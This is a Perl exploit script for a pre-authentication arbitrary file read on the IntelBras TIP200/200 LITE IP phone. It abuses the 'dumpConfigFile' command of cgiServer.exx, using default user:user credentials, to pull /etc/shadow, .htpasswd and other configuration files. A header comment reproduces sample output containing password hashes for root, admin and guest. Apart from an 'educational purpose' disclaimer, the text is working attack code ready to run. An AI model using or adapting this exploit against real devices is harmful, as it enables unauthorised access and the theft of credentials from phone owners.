#!/usr/bin/perl -w
#
#IntelBras TELEFONE IP TIP200/200 LITE 60.61.75.15 'dumpConfigFile' Pre-Auth Remote Arbitrary File Read
#
#Todor Donev 2019 (c) <todor.donev at gmail.com>
#
#
#Disclaimer:
#This or previous programs are for Educational purpose ONLY. Do not use it without permission.
#The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages
#caused by direct or indirect use of theinformation or functionality provided by these programs.
#The author or any Internet providerbears NO responsibility for content or misuse of these programs
#or any derivatives thereof. By using these programs you accept the factthat any damage (dataloss,
#system crash, system compromise, etc.) caused by the useof these programs are not Todor Donev's
#responsibility.
#
#Use them at your own risk!
#
#[test@localhost intelbras]$ perl intelbras_telefone_ip_tip_200_200_lite.pl
#
## IntelBras TELEFONE IP TIP200/200 LITE 60.61.75.15 'dumpConfigFile' Pre-Auth Remote Arbitrary File Read
## ========================================================================================================
## Author: Todor Donev 2019 (c) <todor.donev at gmail.com>
## ========================================================================================================
## >Authorization => Basic dXNlcjp1c2Vy
## >User-Agent => Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)
## >Content-Type => application/x-www-form-urlencoded
## <Accept-Ranges => bytes
## <Server => SIPPhone
## <Content-Type => text/html;charset=UTF-8
## <Expires => -1
## <Client-Date => Sun, 01 Sep 2019 13:37:00 GMT
## <Client-Peer => 192.168.1.1
## <Client-Response-Num => 1
## ========================================================================================================
#root:$1$IJZx7biF$BgyHlA/AgR27VSEBALpqn1:11876:0:99999:7:::
#admin:$1$Bwt9zCNI$7rGLYt.wk.axE.6FUNFZe.:11876:0:99999:7:::
#guest:$1$A3lIJ0aO$Is8Ym.J/mpNejleongGft.:11876:0:99999:7:::
#
## ========================================================================================================
#[test@localhost intelbras]$
#
#Simple Mode:
#perl intelbras_telefone_ip_tip_200_200_lite.pl | grep -v "^#"
#
use strict;
use v5.10;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
my $host = shift || '';
my $file = shift || '/etc/shadow';
my $user = shift || 'user';
my $pass = shift || 'user';
print "
# IntelBras TELEFONE IP TIP200/200 LITE 60.61.75.15 \'dumpConfigFile\' Pre-Auth Remote Arbitrary File Read
# ========================================================================================================
# Author: Todor Donev 2019 (c) <todor.donev at gmail.com>
";
if ($host !~ m/^http/){
print"# e.g. perl $0 https://target:port/ /etc/shadow user user
# e.g. perl $0 https://target:port/ /phone/factory/user.ini user user
# e.g. perl $0 https://target:port/ /phone/config/WebItemsLevel.cfg user user
# e.g. perl $0 https://target:port/ /phone/config/.htpasswd user user
";
exit;
}
my $user_agent = rand_ua("browsers");
my $browser= LWP::UserAgent->new(
protocols_allowed => ['http', 'https'],
ssl_opts => { verify_hostname => 0 }
);
$browser->timeout(10);
$browser->agent($user_agent);
my $payload = $host."/cgi-bin/cgiServer.exx?command=dumpConfigFile(\"$file\")";
my $request = HTTP::Request->new (GET => $payload,[ Content_Type => "application/x-www-form-urlencoded"], " ");
$request->authorization_basic($user, $pass);
print "# ========================================================================================================\n";
my $response = $browser->request($request);
say "# >$_ => ", $request->header($_) for$request->header_field_names;
say "# <$_ => ", $response->header($_) for$response->header_field_names;
print "# 401 Unauthorized! Wrong Username or Password!\n" and exit if ($response->code eq '401');
print "# ========================================================================================================\n";
if ($response->content =~ m/$file/g){
my $content = $response->content;
$content =~ s/$file//g;
$content =~ s/^\n+//;
print $content;
print "\n# ========================================================================================================\n";
exit;
} else {
print "# Exploit failed or full path is wrong..\n";
exit;
}